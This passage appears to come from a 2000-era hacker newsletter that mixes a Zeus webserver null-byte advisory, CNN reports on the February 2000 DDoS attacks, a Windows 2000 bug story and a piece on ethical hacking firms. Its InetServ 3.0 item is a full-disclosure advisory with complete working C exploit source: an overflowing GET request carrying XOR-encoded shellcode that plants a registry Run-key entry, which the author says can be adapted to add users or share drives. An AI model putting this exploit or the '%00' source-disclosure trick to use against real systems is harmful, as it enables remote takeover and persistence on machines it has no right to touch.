Nonetheless, we recommend that all customers upgrade to Zeus 3.3.5a- see
below for further details.
Description
-----------
Requests for URLs which contains the text '%00' are decoded to contain
a null-terminator. This means that files can be accessed via URLs
that are not access controlled, allowing files that are *inside* the
document root to be retrieved.
For example, if you run a webserver with the 'allow CGI anywhere' option,
and have a Perl CGI script inside the document root accessible as
'http://mysite/script.cgi' then a request for
'http://mysite/script.cgi%00' will cause the webserver to return the Perl
source of the CGI script to the client.
This happens because the mime-type of '.cgi\0' does not map to
'application/x-httpd-cgi', so is instead served by the get module as
'text/plain'. The webserver will ask the OS for the file
'script.cgi\0\0', and due to the zero-terminated string interface of
Unix, the OS will actually open 'script.cgi\0' instead of returning a
"file-not-found" error.
Problem Solution
----------------
We have fixed the problem in the latest version of Zeus (3.3.5a) now
available for all 14 platforms from our ftp site
ftp://ftp.zeustechnology.com/pub/products/z3.
This version will report itself as '3.3.5a' and also
display today's (8th Feb) date on startup.
Download the distribution for your platform, untar it, and run
'./zinstall --force' and it will seamlessly upgrade your running
server to the fixed release.
--
Julian Midgley Tel: +44 1223 525000
Technical Services Manager Fax: +44 1223 525100
Zeus Technology Ltd http://www.zeustechnology.com
Newton House, Cambridge Business Park, Cambridge. CB4 OWZ. England
@HWA
186.0 Following up on the DDoS attacks of the last week (Various)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CNN: via Security Focus
Consulting firm says its server was used to
attack AOL
February 11, 2000
Web posted at: 6:57 p.m. EST (2357 GMT)
In this story:
AOL: Assault didn't amount to a pinprick
FBI focuses on California, Oregon locations
Server compromised
How they did it
RELATED STORIES, SITES
From Interactive Technology Editor D. Ian Hopper and
Justice Correspondent Pierre Thomas
NEW YORK (CNN) -- Envisioneering Group, a Long Island technology consultant,
told CNN on Friday that one of its servers was hijacked on two separate days to
launch a version of a denial of service attack on a major Web site.
In such assaults, hackers hijack multiple third-party computers and use
those "zombie" computers to flood target sites with data,
essentially shutting down access to the sites for would-be users.
The first intrusion was on January 29 and involved using a computer to
pass large volumes of e-mail from a third party on to a Web site
server in an attempt to overwhelm the site.
In the span of 15 minutes, several dozen e-mails a second were sent
through the Envisioneering server to both Yahoo! and America Online.
During the attack, engineers at Envisioneering stopped the attack,
according to Envisioneering Group President Richard Doherty.
"We dumped all the pending mail, and that stopped the repeated
attacks [on Envisioneering]," Doherty said.
Yahoo! was jammed by messages on Monday.
The Envisoneering server was used again in the same fashion on
Tuesday, a day when highly trafficked Internet sites such as Amazon.com,
Buy.com and CNN.com were hit with denial of service attacks.
But in the second incident involving his server, Doherty says he
doesn't know exactly where the messages were sent.
AOL: Assault didn't amount to a pinprick
The first attack could have been a form of target practice to
confirm that the Envisioneering server was vulnerable with the intention
of using it in the later attack.
AOL, for its part, reported no out of the ordinary traffic on either of
the dates cited by Doherty. The attack had no effect on the huge
Internet service provider, an AOL spokeswoman said.
Envisioneering uses Mindspring for its Internet access. but even if a
hacker somehow gained control of the entire Mindspring network and
pointed it at AOL, it wouldn't "register a significant amount of volume to
cause a problem," according to AOL spokesperson Tricia Primrose.
This is because of Mindspring's relatively small total bandwidth. With the
known resources of the intruder -- one computer at Envisioneering
Group -- the assault didn't even amount to a pinprick, Primrose said.
Yahoo! did not immediately return calls for comment.
AOL has proposed buying Time Warner Inc., the parent company of CNN.com.
It is awaiting approval from the Federal Trade Commission.
FBI zeroing in on locations in California, Oregon
Meanwhile, CNN has learned the FBI is zeroing in on undisclosed locations
in California and Oregon as it attempts to unravel this week's cyber
assaults.
According to sources familiar with the investigations, the FBI is hoping
to obtain computers that it believes were used in an attack on
CNN.com.
No arrests are considered imminent.
The FBI's planned action comes after investigators discovered the computer
system at the University of California at Santa Barbara was used in
the attack against CNN.com.
As the smoke begins to clear from the spate of attacks, CNN continues to
get sporadic reports about other major Web sites assaulted.
Excite@Home confirmed that it was attacked Wednesday night at 7 p.m. PST.
The attack lasted about an hour, according to a spokesperson. About
50 percent of users trying to access the Excite portal and search engine
couldn't reach the site during the attack, which targeted and overloaded
routers. Only the Web site was under attack, the @Home cable network was
not affected.
"We're working with the Internet community to try to find out what's going
on," says Excite@Home spokesperson Kelly Distefano.
Server compromised
A University of California- Santa Barbara network administrator has
confirmed that a server at the university was compromised and used
in at least one of the attacks against major Web sites this week.
Sources declined to identify the owners of the computers that are being
targeted. While those owners may emerge as suspects, sources point
out that their computers might have been programmed without their
knowledge.
Still, the belief is that these computers may have been used to direct
commands to a computer system at UCSB.
This computer then flooded the affected Web site with millions of messages
-- blocking access to customers.
UCSB administrator Kevin Schmidt said an intruder entered the UCSB machine
at least twice. After entering the first time to open doors needed
later, the intruder returned to install a software package designed to
carry out an attack, Schmidt said.
The program, once executed, began its assault by sending out connection
requests to the target Web site creating a "denial of service"
attack.
With enough requests sent to a single Web site, the site can be rendered
inaccessible to legitimate users.
In order to conceal the attack, the program began rotating the origination
addresses of the requests. This method, known generally as
"spoofing," is used to thwart filters on the target machine designed to
identify and weed out malicious data.
Schmidt said the intruder was "sloppy" in his work and failed to destroy
all the logs monitoring activity on the server.
"There wasn't a great effort to hide their presence," Schmidt said. "I
don't think this behavior was atypical" of an untrained hacker.
How they did it
The intruder entered the UCSB computer through a known vulnerability in an
installed network service.
These vulnerabilities are frequently announced through Carnegie Mellon
University's CERT group, National Infrastructure Protection Center
and other network security forums.
To plug the holes, administrators simply need to install patches or
workarounds. However, with so many individual machines on the
Internet and other demands competing for the time of a network guru, many
computers are left unsecured.
Along with CNN.com, other attacks were carried out against Yahoo!, eBay
and Amazon.com
As CNN has reported, the programs needed to make a denial of service
attack are very simple to find on several Web sites. They are
ready-made programs that are easy for almost anyone to use.
==========================================================================
CNN:
FBI agents focus on university,
business computers as cyber-attack
launch pads
February 11, 2000
Web posted at: 7:48 a.m. EST (1248 GMT)
In this story:
Investigation scope
Motive still unknown
Y2K daemons?
More vigilance catching intrusions
Pentagon checking its computers
RELATED STORIES, SITES
From staff and wire reports
WASHINGTON (CNN) -- The FBI is pursuing leads that a series of attacks
on popular computer Web sites was launched from high-capacity computer
systems at a university or at businesses. Officials believe the school or
businesses were an unwitting launch pad for the string of attacks.
According to government sources, the attackers infected those computer
systems with denial of service programs.
Those programs in turn forced the university or
business systems to send out millions of
messages aimed at overloading the targeted
Web sites.
Investigation scope
The massive federal investigation into this
week's string of cyber attacks may extend
overseas, Justice Department officials say.
Deputy Attorney General Eric Holder said there
is "no indication at this point that we are looking
at anything that comes from outside the country,
though there have been previous, similar attacks
that have been launched from outside the
country, so that is a possibility we'll certainly
have to consider."
Senior officials said the multistate investigation
now includes major efforts by FBI field offices
in four states, and involves "countless numbers"
of agents in several others.
Motive still unknown
"These are people who are criminals," Holder
told reporters at a Justice Department briefing
Thursday.
"The collective loss, and the cost to respond to
these kinds of attacks, can run into the tens of
millions of dollars or more."
On Wednesday, online brokerage E-Trade
Group and technology news site ZDNet became
the latest victims. Their sites were knocked out for more than an hour.
The attacks began Monday against Yahoo!, the largest independent Web site.
They spread Tuesday to CNN.com and leading retailers Buy.com, eBay and
Amazon.com.
The cyber bandits have been quick to exploit technology even as U.S.
government investigators become more computer savvy.
"We need additional people," said Holder. "We need additional forensic
capabilities. This is, as everybody understands, a fast-changing area."
It's both fast changing and potentially devastating
to Internet commerce.
The Clinton administration is asking Congress to
increase funding for the Justice Department's
anti-cybercrime efforts by more than a third --
from roughly $100 million to $137 million.
Holder said investigators inside and outside the
government were working together in a complex
effort to track down the hackers. He said that
while authorities do not yet know the motive of
sthose responsible, officials consider the matter "very serious" and that
the Justice Department may have to consider increasing penalties for
cyber-criminals.
A senior Justice Department official involved in the probe said it's likely
the hacker or hackers who clogged several popular Internet sites used
"dozens or even hundreds" of computers to launch the attacks.
The official, asking not to be identified, said after officials discovered
certain "distributed denial of service" tools in December, a warning was
sent out.
Y2K daemons?
The official said these tools, called daemons, can be planted on hundreds
of innocent third-party computers, and await a command issued much later
from a remote location to launch attacks on a single target.
The official refused to comment on whether the daemons found in the
intensive preparations to guard against Y2K problems were involved in the
current attacks.
A Senate leader who has conducted a series of hearings on countering the
cyber threat issued a statement Thursday saying the government had failed
to be prepared for such cyber attacks, and he promised additional hearings.
"Efforts to protect critical computer networks have unfortunately not kept
pace with the march of technology," said Sen. Jon Kyl,R-Arizona.
"I have been a firm believer that it was always a question of
when, not if, our vulnerabilities would be exploited by someone
with malicious intent," Kyl said. "The events of the last three
days confirm that view."
More vigilance catching intrusions
One positive development from the attacks is that some network
administrators are being extra careful about checking possible intrusions.
The Los Angeles Times Web site, latimes.com, received a warning from its
Internet service provider, GTE Internetworking, that there had been several
attacks against the ISP and urged its customers to be more vigilant.
On Wednesday morning, engineers discovered that one of the latimes.com
servers was running a "little abnormally," according to Dan Royal,
operations manager for the site.
They found that someone had entered the server from the outside and placed
an "Internet relay chat" program that took up so much bandwidth as to
create a disturbance. The incident had no effect on users.
"It caused no damage, other than a whole lot of people pulling their hair
out," Royal said.
Pentagon checking its computers
Pentagon officials stressed the military has not been hit by the denial of
service attacks and said there's nothing to indicate the systems have been
compromised.
"We've been watching with great interest," said Rear Adm. Craig Quigley at
Thursday's Pentagon briefing. "We need to be aware of potential hacking
into the DOD computer system and be able to defend against some of those
attacks."
The Defense Department is putting out a message to its computer network
administrators to check the hard drive systems.
Quigley said the Pentagon wants "to see if someone has planted some of this
denial of service tools on the drives of Defense Department computers." The
spokesman said the check is to make sure the Pentagon's computers could not
have unwittingly been a part of the denial of service regime that's being
used to clobber some of the other servers."
Pentagon computers were updated and prepared for any Y2K rollover glitches
in a $3.6 billion fix over 18 months leading up to January 1.
There was no estimate on how long the new checks would take, but the
spokesman said Pentagon officials will be on their toes and aware of what's
happening.
The Defense Department is the federal government's single biggest user of
computers. "We have no reason to suspect that any of our systems are in
fact involved in this, but we're also not sure until we check."
==============================================================================
Law enforcement asks cyber-community for more vigilance
February 9, 2000
Web posted at: 7:26 p.m. EST (0026 GMT)
In this story:
FBI offers detection software
Hackers could face 10-year sentences
'A 15-year-old could launch these attacks'
RELATED STORIES, SITES
WASHINGTON (CNN) -- While vowing to use the FBI, military,
Secret Service and the intelligence community to find
the hackers behind this week's wave of major
cyber-attacks, federal law enforcement officials also
encouraged the Internet community to toughen its own
defenses against hackers.
"We are committed in every way possible to tracking
down those responsible, to bringing them to justice
and to seeing that the law is enforced," Reno said at
an FBI news conference.
Several e-commerce sites, portals and news outlets
were hit by the computer attacks that began
Monday, leaving them unreachable to the public for
hours and flooded with junk data.
"These cyber-assaults have caused millions of
Internet users to be denied services," said Reno. She
said the motives of the hackers are unknown, but
"they appear to be intended to interfere with and
disrupt legitimate electronic commerce."
Ronald Dick, who heads computer investigations at
the FBI, said it is highly likely that the attacks came
from unwitting individuals or businesses whose
computers have been compromised.
"Tools by which to launch these attacks have been
placed there without their knowledge, and someone
at a remote location is controlling those tools to
launch attacks against the victims," Dick said.
He said a popular place for cyber-criminals to plant
such software was on third-party computers, many of
them belonging to Internet service providers, or ISPs.
Logs at the ISPs will be crucial to the investigation.
FBI offers detection software
Tools and defensive measures exist that can be used
against hackers to minimize damage, Dick said.
"Many of the distributed 'denial of service' tools
currently are readily available out there on the
Internet," he said. "You can download them, and it
doesn't take any particular technical knowledge by
which to utilize them."
Dick said prevention, such as implementing security
measures, is the key to stopping attacks on computer
systems, whether in the private or public sectors. He
said it is the responsibility of the entire cyber
community because any lapse of computer security by
one entity could cause harm to others.
Dick said the FBI's National Infrastructure Protection
Center (NIPC) has had multiple reports of computer
intruders installing "distributed
denial of service (DDOS) tools" on various computer
systems. Those tools enable
individuals to remotely launch cyber attacks.
Those DDOS tools can be detected by software the NIPC
is making available on its
Web site at http://www.fbi.gov/nipc/trinoo.htm.
Hackers could face 10-year sentences
Investigators will be challenged in tracking down
the originators of the attacks because many
source addresses have been "spoofed" or
falsified.
However, Dick said they can ultimately be traced.
"We're running every lead down until we find who
did this," he said. Investisgators will use electronic
surveillance to track back through ISPs and find
who was at the keyboard, he said.
Asked if there had been any credible claims of
responsibility, Dick said, "None that I'm aware of."
He said the attacks are a violation of federal
statutes punishable by a minimum six-month
prison sentence for first-time offenders and 10
years for repeat offenders. Criminal fines can range
from $250,000 per count up to twice the gross loss
of the victim.
'A 15-year-old could launch these attacks'
The cyber attacks began earlier in the week when
Yahoo!, the Internet's most popular site, was
jammed with messages beyond its vast capacity to
handle them.
On Tuesday, sites such as Amazon.com, Buy.com,
and CNN.com were the victims of similar attacks.
The attacks continued Wednesday with on-line broker E*Trade
being partially blocked along with computer information site
ZDNet.com.
Under the onslaught of messages, said Dick, the victim's Internet
site simply shuts down until filters can be put in place that turn
away the bogus messages.
Dick said a high level of technical sophistication is not necessary
to launch such cyber attacks.
"A 15-year-old kid could launch these attacks," he said.
But the search for those responsible likely will go global.
"Historically, this is not just a U.S. issue. Inevitably we wind
up overseas, where an unwitting ISP is utilized as a launch pad,"
Dick said.
@HWA
187.0 InetServ 3.0 - Windows NT - Remote Root Exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ADVISORY
--------
Greg Hoglund, Jan 2000
http://www.rootkit.com
- Reporting LIVE from RSA 2000 -
"The San Jose Convention Center...
a contingent of trenchcoats mass in a dark corner
laptops flipped to trade zer0-Day 'sploits..."
Target: InetServ 3.0 - Windows NT - Remote Root
Theme: Poorly Tested Software
I believe in full disclosure. A year ago I would have contacted the
software vendor and informed them of a security problem, and waited a
period of time before releasing the information. On or about Jan 1, 2000 I
abondoned this philosophy. The number of unreleased, unpatched exploits
related to buffer conditions is staggering. My deduction follows.
I, like many Hackers, have personally written software to test for and
locate new buffer overflows in software. Occasionally for fun I will
download a platter of the latest shareware and run it thru the Mill. As
expected, I will find exploitable conditions. However, the sheer number of
exploitable conditions surprises even myself.
After downloading a copy of InetServ 3.0 - a proxy server for Windows NT, I
started testing a single remotely-addressable function of the software - a
web service. In less than 1 minute...my automated testing software had
already located a buffer overflow - a childlike and brainless overflow. It
appeared that an http GET request with a 537 byte path would own EIP (in
other words, allow me to control the remote processor).
This is not an isolated phenomenon. This advisory is not about that one
buffer overflow. In fact, I will wager there are at least 10 discrete
buffer overflow conditions in this software package alone, all of them
exploitable from remote. There may be even more. The fact that I was able
to find such a simple and easy to discover bug (the GET request -
exploitable from a WEB Browser URL!) only substantiates that this piece of
software was never adequately tested in QA.
I wondered to myself - should I report this to the software vendor? They
may need time to release a patch. It then occured to me that I would only
find another buffer condition after they had released the patch - and once
again I would assume the burden of informing them. In effect I realized
that what I needed to tell them was that their QA process either sucked, or
was non-existant. By telling them about specific buffer overflows I am
actually performing QA for them - and they do not pay me to do that. That
is not my responsibility.
(the epiphany occurs here)
It is not the responsibility of myself, or any hacker for that matter, to
perform QA for a software vendor. It is only the responsibility of the
hacker to expose software which has clearly never been engineered properly.
(need I bring up Seattle Labs Sendmail? - a target of embarassing levels
of exploit over the past few years - why bother?)
If you are responsible for deploying a large project, or you are investing
your company into a software solution - I have a single piece of advice:
HAVE THE SOFTWARE INDEPENDANTLY TESTED BY A QUALIFIED SOFTWARE LAB! The
cost of doing this is far less than the cost of ownership if you invest in
poorly engineered software! There are several commercial testing labs that
employ some great talent. Software Quality is generally so bad that I
don't think insurance companies should touch your enterprise with a 10 foot
pole until a software lab has determined low risk.
(I step down from the podium)
Lets talk about this exploit:
The fact that the GET request causes an oveflow is far from noteworthy. I
can tell just by the disassembly that there are many more overflows where
this came from. (I actually tested several programs today, and all but one
had remote buffer overflow bugs - I leave the others for future cannon
fodder). What is worth talking about is the payload I designed for this
exploit. So, the rest of the discussion is about the payload.
One of the most common things a payload does is open a remote shell. A
number of months back I wrote a small intrusion prevention tool that
rendered all of these overflows harmless - an NT kernel patch that prevents
my server software from launching sub-processes. Gee, all of the 'shell'
based overflow attacks have been demoted to ankle-biters. Of course, those
of you with experience immediately realize that a payload can do anything
it wants - and as the virus underground has taught us - there are a million
ways to torture a computer. Todays payload does not open a remote shell -
rather, it shares all of your hard drives without a password - and does
this without launching a single sub-process or even loading any new
functions. We are going to attack the NT registry through functions
already loaded into the process space.
Most processes have useful functions already loaded into address space.
Using WDASM and VC++ I was able to find the memory location of the
following functions:
Name: Jump Table: Actual (NTServer
4.0 SP3)
ADVAPI32.RegCloseKey [43D004] 77DB75A9
ADVAPI32.RegCreateKeyExA [43D008] 77DBA7F9
ADVAPI32.RegOpenKeyExA [43D00C] 77DB851A
ADVAPI32.RegQueryValueExA [43D010] 77DB8E19
ADVAPI32.RegSetValueExA [43D000] 77DBA979
Since we cannot be assured where the location of ADVAPI32.DLL will be
mapped, we simply use the jump table itself, which will be loaded in the
same location regardless. In order to prevent NULL characters, I XOR my
data area with 0x80. The payload first decodes the data area, then calls
the following functions in order to add a value to the windows RUN key:
RegOpenKeyEx();
RegSetValueEx();
In order to avoid NULL's I used an XOR between registers, as you see in code:
mov eax, 77787748
mov edx, 77777777
xor eax, edx
push eax
followed later only by:
mov eax, 0x77659BAe
xor eax, edx
push eax
These values translate to addresses in the local area which require a NULL
character, hence the XOR. The value in the example is merely "cmd.exe /c"
with no parameters. You could easily alter this to add a user to the
system, or share a drive. For "script kiddie" purposes you will get
nothing here - you'll need to alter the cmd.exe string and alter the size
variable in the decode loop (shown here set to 0x46):
xor ecx, ecx
mov ecx, 0x46
LOOP_TOP:
dec eax
xor [eax], 0x80
dec ecx
jnz LOOP_TOP (75 F9)
Once this runs, check your registry and you'll find the value in question.
The value will be executed upon the next reboot. This is a very common way
for network worms to operate, incidentally. The only snag when using an
http request is that there are some characters that are filtered or special
- so you must avoid these. This limits which machine instructions you can
directly inject - however there are always wasy to get around such
problems. In conclusion, I merely am trying to demonstrate that there are
meny things a buffer overflow can do besides create a shell or download a
file - and many forms of host based IDS will not notice this. Now clearly
the RUN key is common place for security-savvy people to look, but it could
have easily been something else more esoteric.
CODE FOLLOWS:
#include "windows.h"
#include "stdio.h"
#include "winsock.h"
#define TARGET_PORT 224
#define TARGET_IP "127.0.0.1"
char aSendBuffer[] =
"GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDAAAAEEEEAAAAAAAAAAA" \
file://mov eax, 0x12ED21FF
file://sub al, 0xFF
file://rol eax, 0x018
file://mov ebx, eax
"\xB8\xFF\x1F\xED\x12\x2C\xFF\xC1\xC0\x18\x8B\xD8" \
// xor ecx, ecx
// mov ecx, 0x46
file://LOOP_TOP:
// dec eax
// xor [eax], 0x80
// dec ecx
// jnz LOOP_TOP (75 F9)
"\x33\xC9\xB1\x46\x48\x80\x30\x80\x49\x75\xF9" \
file://push ebx
"\x53" \
file://mov eax, 77787748
file://mov edx, 77777777
"\xB8\x48\x77\x78\x77" \
"\xBA\x77\x77\x77\x77" \
file://xor eax, edx
file://push eax
"\x33\xC2\x50" \
file://xor eax, eax
file://push eax
"\x33\xC0\x50" \
// mov eax, 0x77659BAe
// xor eax, edx
// push eax
"\xB8\xAE\x9B\x65\x77\x33\xC2\x50"
file://mov eax, F7777775
file://xor eax, edx
file://push eax
"\xB8\x75\x77\x77\xF7" \
"\x33\xC2\x50" \
file://mov eax, 7734A77Bh
file://xor eax, edx
file://call [eax]
"\xB8\x7B\xA7\x34\x77" \
"\x33\xC2" \
"\xFF\x10" \
file://mov edi, ebx
file://mov eax, 0x77659A63
file://xor eax, edx
file://sub ebx, eax
file://push ebx
file://push eax
file://push 1
file://xor ecx, ecx
file://push ecx
file://push eax
file://push [edi]
file://mov eax, 0x7734A777
file://xor eax, edx
file://call [eax]
"\x8B\xFB" \
"\xBA\x77\x77\x77\x77" \
"\xB8\x63\x9A\x65\x77\x33\xC2" \
"\x2B\xD8\x53\x50" \
"\x6A\x01\x33\xC9\x51" \
"\xB8\x70\x9A\x65\x77" \
"\x33\xC2\x50" \
"\xFF\x37\xB8\x77\xA7\x34" \
"\x77\x33\xC2\xFF\x10" \
// halt or jump to somewhere harmless
"\xCC" \
"AAAAAAAAAAAAAAA" \
// nop (int 3) 92
// nop (int 3)
// jmp
"\x90\x90\xEB\x80\xEB\xD9\xF9\x77" \
/* registry key path
"\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" */
"\xDC\xD3\xCF\xC6\xD4\xD7\xC1\xD2\xC5\xDC\xCD\xE9\xE3\xF2" \
"\xEF\xF3\xEF\xE6\xF4\xDC\xD7\xE9\xEE\xE4\xEF\xF7\xF3\xDC\xC3" \
"\xF5\xF2\xF2\xE5\xEE\xF4\xD6\xE5\xF2\xF3\xE9\xEF\xEE\xDC" \
"\xD2\xF5\xEE\x80" \
/* value name "_UR_HAXORED_" */
"\xDF\xD5\xD2\xDF\xC8\xC1\xD8\xCF\xD2\xC5\xC4\xDF\x80" \
/* the command "cmd.exe /c" */
"\xE3\xED\xE4\xAE\xE5\xF8\xE5\xA0\xAF\xE3\x80\x80\x80\x80\x80";
int main(int argc, char* argv[])
{
WSADATA wsaData;
SOCKET s;
SOCKADDR_IN sockaddr;
sockaddr.sin_family = AF_INET;
if(3 == argc)
{
int port = atoi(argv[2]);
sockaddr.sin_port = htons(port);
}
else
{
sockaddr.sin_port = htons(TARGET_PORT);
}
if(2 <= argc)
{
sockaddr.sin_addr.S_un.S_addr = inet_addr(argv[2]);
}
else
{
sockaddr.sin_addr.S_un.S_addr = inet_addr(TARGET_IP);
}
try
{
WSAStartup(MAKEWORD(2,0), &wsaData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(INVALID_SOCKET == s)
throw WSAGetLastError();
if(SOCKET_ERROR == connect(s, (SOCKADDR *)&sockaddr,
sizeof(SOCKADDR)) )
throw WSAGetLastError();
send(s, aSendBuffer, strlen(aSendBuffer), 0);
closesocket(s);
WSACleanup();
}
catch(int err)
{
fprintf(stderr, "error %d\n", err);
}
return 0;
}
ps. This took all day, I need a scotch...
Special Thanks: Barnaby Jack, DilDog, Jeremy Kothe - your skills are Elite,
thanks for publishing.
@HWA
188.0 Bugfest! Win2000 has 63,000 'defects'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by _ImDeaD_
http://www.zdnet.com/zdnn/stories/news/0,4586,2436920,00.html?chkpt=zdnntop
Bugfest! Win2000 has 63,000 'defects'
Urging developers to clean up their code, a
Microsoft exec says: 'How many of you would
spend $500 on a piece of software with over
63,000 potential known defects?' It ships
Thursday.
By Mary Jo Foley, Sm@rt Reseller
UPDATED February 11, 2000 2:25 PM PT
Not everyone will be having fun at Microsoft Corp.
next week. While the software giant and its partners
celebrate the arrival of Windows 2000 on Thursday,
Feb. 17, hundreds of members of the Windows
development team will be busy cleaning up the
mess.
Not the launch-party mess. The code mess. According to
an internal Microsoft (Nasdaq: MSFT) memo viewed by
Sm@rt Reseller, the company needs to fix tens of
thousands of bugs contained in the final Win2000 release
code. Fixing these bugs is the top-priority assignment for
Microsoft group VP Jim Allchin's Windows team.
"Our customers do not want us to sell them products with
over 63,000 potential known defects. They want these
defects corrected," stated one of Microsoft's Windows
development leaders, Marc Lucovsky, in the memo. "How
many of you would spend $500 on a piece of software
with over 63,000 potential known defects?"
According to the Microsoft memo, the Windows 2000
source-code base contains:
More than 21,000 "postponed" bugs, an
indeterminate number of which Microsoft is
characterizing as "real problems." Others are
requests for new functionality, and others reflect
"plain confusion as to how something is supposed
to work."
More than 27,000 "BugBug" comments. These are
usually notes to developers to make something
work better or more efficiently. According to
Microsoft, they tend to represent "unfinished work"
or "long-forgotten problems."
Overall, there are more than 65,000 "potential
issues" that could emerge as problems, as
discovered by Microsoft's Prefix tool. Microsoft is
estimating that 28,000 of these are likely to be
"real" problems.
"Our goal for the next release of Windows 2000 is to have
zero bugs. The only way this happens is if you take it
upon yourselves to fix the bugs that should be fixed, and
close the bugs that should be closed," continued
Lucovsky in his note to the development team.
He added that no new code for future Windows releases,
such as Whistler and Blackcomb, will be allowed to be
"checked in" until the development team has fixed the
existing Windows 2000 bugs.
Microsoft's response
A spokeswoman for Microsoft strongly defended
Windows 2000's quality. "Bugs are inherent in computer
science," she said. "All software ships with issues. The
difference is (that) no software in the history of Microsoft
development has ever been through the incredible,
rigorous internal and external testing that Windows 2000
has been through."
The spokeswoman said
750,000 testers received
each beta version of
Windows 2000. She said
"hundreds of companies
have signed off on the
incredibly high quality and
reliability of Windows
2000."
The result, she said, is that hundreds of companies are
deploying Windows 2000 before general availability.
One developer, informed of Microsoft's bug estimates,
said all new software ships with lots of bugs but few
software vendors are willing to acknowledge this reality.
"The fact that Microsoft found that many bugs indicates
to me just how thorough their testing processes are,"
said the Windows developer, who requested anonymity.
Waiting for bug fixes
But others aren't so sure. Market researchers have
repeated warnings to their clients against upgrading
immediately to Win2000. Several outfits have advised
customers to wait until Microsoft issues its first or
second service pack before deploying Win2000. And
research outfits made these suggestions before the exact
bug tallies came to light.
Despite these bugs, Microsoft has made Windows 2000's
reliability a key focus and part of its marketing message
for months. At Comdex/Fall last year, Allchin detailed the
two-year-old reliability initiative upon which Microsoft had
embarked to insure Win2000 would be more stable and
reliable than NT 4.0 or its predecessors.
Allchin said Microsoft spent 500 person-years and $162
million on people and tools specifically to improve
reliability of the product.
In more recent weeks Microsoft
has plastered ads on buses,
billboards and telephone booths
in a number of major cities.
"Windows 2000 is coming.
Online or off, a standard in
reliability," reads the text.
Other hurdles
Windows 2000 is hardly
Microsoft's only worry in the coming months. Another big
hurdle is application support for the OS.
Microsoft has been working on a slew of Windows
2000/Active Directory-optimized applications that
ultimately will ship as some type of BackOffice 2000 or
BackOffice 5.0 package.
The first BackOffice 2000 beta isn't expected until some
time in the second half of this year, but the first
BackOffice 2000 app upgrade, Exchange 2000, is
expected to arrive at midyear. Other BackOffice Server
updates -- the next releases of SQL Server, Proxy Server,
SNA Server and Systems Management Server -- also are
in the development pipeline. But exactly how far along
they are is unclear.
At the same time, Microsoft is developing several BackOffice
add-ons. Microsoft preannounced some of these add-ons, such as
its BizTalk Server, Commerce Server and AppCenter Server, a
full year ago. But first betas of these point products have
yet to appear.
The company doesn't plan to move any of these new
point products into the BackOffice SKU, said Russ
Stockdale, director of server applications marketing with
Microsoft's Business Productivity Group.
Stockdale said Microsoft's plan is to continue to offer
current and future BackOffice SKUs to branch-office
customers and midsized organizations.
Stockdale acknowledged that BackOffice 2000 will have
little appeal to e-commerce and dotcom customers --
even though Microsoft is pitching its anchor, Windows
2000, as an e-commerce-optimized operating system.
@HWA
189.0 Legit Hackers Roam Cyberspace for Security
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Slash
So you thought hackers were nerds in dark rooms travelling in cyberspace
to attack companies' computer systems or steal data.
Full Story <http://www.ukhackers.com/0602001.htm>
Legit Hackers Roam Cyberspace for Security
So you thought hackers were nerds in dark rooms travelling in cyberspace
to attack companies' computer systems or steal data.
Think again.
A new breed of hackers licensed to hack legally into companies around the
world, ranging from banks in Israel and Britain to e-commerce companies in
Spain, and check their systems' security, is at work in Sweden.
The Stockholm-based private company Defcom, set up in April last year, is a
pioneer in a shadowy business that may seem more like a scene from one of
legendary American science fiction author William Gibson's novels than reality.
But Defcom (www.defcom-sec.com) actually gets paid for hiring out its ``ethical
hackers'' to large companies, mostly in the banking, insurance and e-commerce
sector around Europe.
``Nine out of 10 companies we're employed to check, we can break into through the
Internet,'' Defcom chief executive Thomas Gullberg told Reuters. ``That's a
frightening statistic.''
Defcom expects its business to grow fast as more companies seek protection
from hackers, sophisticated users of advanced computer programming languages
who can break into computer systems or Web sites to change or steal information.
Consumers handed an estimated $30 billion over to Internet sites last year,
a sign that a lot of people have lost their fears about shopping online.
Most got what they ordered and didn't have their credit card details abused.
Online Boom Threatens Security
But the Web is becoming an ever more attractive playground for hackers as
e-commerce mushrooms in Europe and the United States, and sensitive data
is transferred over the Internet.
Security experts say some Web sites are forgetting about security issues
in their rush to be on the Internet. One concern is the expected arrival
of mobile phones linked to the Web, creating more opportunities for hackers
to get in.
And some worry that putting too many security features on a site scares
away some consumers and slows the transaction process, while costly security
features cannot match the returns of investments in marketing and customer
acquisition.
A survey by Zona Research showed that consumers who have to wait more than
eight seconds will click to another site.
Hackers can break into practically any computer system if they want to,
Defcom said.
Defcom is one of hundreds of Net start-ups in Sweden, one of the world's
most wired countries. With its high Internet penetration and wide use of
e-commerce and Internet banking, Sweden also has some of the world's best
online security.
``We aim to be the leader in Europe. I think we are already,'' Gullberg said.
``It's such a new area. We're the only ones who've managed to organize it
properly. Some have tried but failed.''
Licensed To Hack
It was hard at first to bring hackers together, but Gullberg was surprised
by the willingness on the part of hackers to turn legitimate.
``We've brought hacking to another stage, made it ethical,'' Gullberg said.
``We've gathered hackers under one roof. After all they're the best in the
business, they know how it's done.''
Defocom's motto, displayed in one of the main hackers' rooms, sums it up:
``It takes one to know one.''
The Swedish company -- with an office in London -- has grown to over 40 staff,
of whom about half are professional hackers, aged 23 to 30. One has a criminal
record.
To boost expertise and knowledge it has also hired a police officer from the
IT security division in Sweden's national crimes prevention unit.
